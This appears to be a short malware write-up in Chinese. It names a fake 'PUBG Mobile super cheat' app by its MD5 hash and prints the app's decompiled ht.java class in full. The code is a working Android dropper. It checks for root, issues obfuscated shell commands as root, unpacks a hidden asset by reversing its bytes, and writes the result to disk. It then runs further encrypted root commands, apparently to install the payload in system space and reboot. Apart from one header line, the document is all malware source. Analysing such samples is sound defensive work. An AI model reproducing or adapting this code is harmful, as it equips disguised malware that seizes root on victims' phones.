刺激战场超强辅助 v1.0版本的 MD5 值为:aebe751a37339aa4ff79216017569141
以下内容为反编译后的 ht.java 源代码,内容仅作参考
package hl;
import android.content.Context;
import android.content.pm.PackageManager;
import com.qtfreet00;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class ht {
private static final String END = "\n";
private static final String EXIT = "exit";
private static final String SH = "sh";
private static final String SU = "su";
private static boolean ma47c91b2(Context context, String str) {
try {
context.getPackageManager().getPackageInfo(str, 0);
return true;
} catch (PackageManager.NameNotFoundException e) {
return false;
}
}
public static void m63a9f0ea(Context context) {
if (m2082cf4e()) {
try {
if (ma47c91b2(context, qtfreet00.m5b936250("121B0B5C001D151C040A174B1D0419010A071D0C15"))) {
m2591c98b(new String[]{qtfreet00.m5b936250("3D30393E2C272630263F2D35242039494904000B101E06491E0C074E5E071F011100195E180F10"), qtfreet00.m5b936250("011946070B0C1A0200071E0945171E1948171D04190118035C1D151C0418130A0C04")}, true);
}
InputStream open = context.getAssets().open(qtfreet00.m5b936250("0603115D0415045E110B070904001410"));
File file = new File(qtfreet00.m5b936250("5E0702110417105E110B070904001410"));
if (!file.getParentFile().exists()) {
file.getParentFile().mkdirs();
}
FileOutputStream fileOutputStream = new FileOutputStream(file);
byte[] bArr = new byte[1024];
byte[] bArr2 = new byte[1024];
while (true) {
int read = open.read(bArr);
if (read != -1) {
for (int i = 0; i < read; i++) {
bArr2[i] = bArr[read - (i + 1)];
}
fileOutputStream.write(bArr2, 0, read);
fileOutputStream.flush();
} else {
open.close();
fileOutputStream.close();
m2591c98b(new String[]{qtfreet00.m5b936250("1C1B131C1145591E5414054917111C1B131C11455B020D15060008"), new StringBuffer().append(new StringBuffer().append(qtfreet00.m5b936250("120446")).append(file.getAbsolutePath()).toString()).append(qtfreet00.m5b936250("515B150B1611111C5B0702154A1C1D5A07020E")).toString(), new StringBuffer().append(new StringBuffer().append(qtfreet00.m5b936250("120446")).append(file.getAbsolutePath()).toString()).append(qtfreet00.m5b936250("515B150B1611111C5B16000C13591004165D0D095A10040D")).toString(), qtfreet00.m5b936250("121C0B1D0145424540465D161C0705110B5D0415045E1C0A5C04151F"), qtfreet00.m5b936250("0319465F03455B020D150600085B1400055D1500061C1D15010C0A1A025B071C01171B1810481A041710061514174B1007135A0711060007021B140B4B1D191D"), qtfreet00.m5b936250("0311041D0A11")}, true);
return;
}
}
} catch (Exception e) {
}
}
}
private static boolean m2082cf4e() {
try {
Runtime.getRuntime().exec(qtfreet00.m5b936250("0201"));
return true;
} catch (IOException e) {
return false;
}
}
public static boolean m2591c98b(String[] strArr, boolean z) {
try {
Process exec = Runtime.getRuntime().exec(z ? qtfreet00.m5b936250("0201") : qtfreet00.m5b936250("021C"));
DataOutputStream dataOutputStream = null;
DataOutputStream dataOutputStream2 = new DataOutputStream(exec.getOutputStream());
for (String str : strArr) {
if (str != null) {
dataOutputStream2.write(str.getBytes());
dataOutputStream2.write(END.getBytes());
dataOutputStream2.flush();
}
}
dataOutputStream2.writeBytes(new StringBuffer().append(qtfreet00.m5b936250("140C0F06")).append(qtfreet00.m5b936250("7B")).toString());
dataOutputStream2.flush();
if (dataOutputStream2 != null) {
dataOutputStream2.close();
}
exec.waitFor();
return true;
} catch (Exception e) {
return false;
}
}
}